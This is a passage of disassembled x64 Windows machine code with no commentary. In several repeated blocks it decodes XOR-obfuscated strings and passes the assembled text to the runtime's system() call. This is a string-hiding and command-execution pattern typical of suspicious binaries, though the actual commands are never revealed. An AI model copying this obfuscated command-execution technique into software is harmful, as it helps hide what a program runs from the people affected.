mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400642c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400642c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x140064311
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006430c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006430c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0xf
jbe 0x14006436c
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064367
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x208], xmm0
mov byte [rbp + 0x1f8], 0
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x1400643c7
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400643c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400643c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x598]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x1400643fb
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x238]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3c08]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3c18]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3c28]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3c30]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140064585
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140064480
cmp r8d, 0x2a
jge 0x1400645c0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140064590
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x218]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400645e0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0xb8]
call fcn.1400736e0
lea rcx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rcx, qword [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140064695
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400646ed
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400646e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400646e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x230]
cmp rdx, 0xf
jbe 0x140064731
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006472c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006472c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x14006478c
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064787
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064787
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x248], xmm0
mov byte [rbp + 0x238], 0
mov rdx, qword [rbp + 0x5b0]
cmp rdx, 0xf
jbe 0x1400647e7
inc rdx
mov rcx, qword [rbp + 0x598]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400647e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400647e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x5b8]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x14006481b
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x278]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3b58]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3b68]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3b78]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3b80]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x1400649a5
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400648a0
cmp r8d, 0x2a
jge 0x1400649e0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x1400649b0
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x258]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140064a00
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0xd8]
call fcn.1400736e0
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140064ab5
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064ab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064ab0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140064b0d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064b07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064b07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x140064b51
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064b4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064b4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x268], xmm0
mov byte [rbp + 0x258], 0
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x140064bac
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064ba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064ba7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 0xf
jbe 0x140064c07
inc rdx
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064c02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064c02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x4d8]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140064c3b
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x2b8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2d48]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f2d58]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f2d68]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f2d70]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140064dc5
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140064cc0
cmp r8d, 0x2a
jge 0x140064e00
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140064dd0
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x298]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140064e20
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0xf8]
call fcn.1400736e0
lea rcx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rcx, qword [rbp + 0xf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x140064ed5
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064ed0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140064f2d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064f27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064f27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0xf
jbe 0x140064f71
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064f6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064f6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x2a8], xmm0
mov byte [rbp + 0x298], 0
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0xf
jbe 0x140064fcc
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064fc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064fc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x2c8], xmm0
mov byte [rbp + 0x2b8], 0
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x140065027
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065022
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065022
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x4f8]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x14006505b
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x2f8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2498]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f24a8]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f24b8]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f24c0]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x1400651e5
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400650e0
cmp r8d, 0x2a
jge 0x140065220
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x1400651f0
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2d8]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140065240
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x118]
call fcn.1400736e0
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rcx, qword [rbp + 0x118]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x1400652f5
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400652f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400652f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x118], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14006534d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065347
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065347
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x140065391
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006538c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006538c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x2e8], xmm0
mov byte [rbp + 0x2d8], 0
mov rdx, qword [rbp + 0x310]
cmp rdx, 0xf
jbe 0x1400653ec
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400653e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400653e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x308], xmm0
mov byte [rbp + 0x2f8], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140065447
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
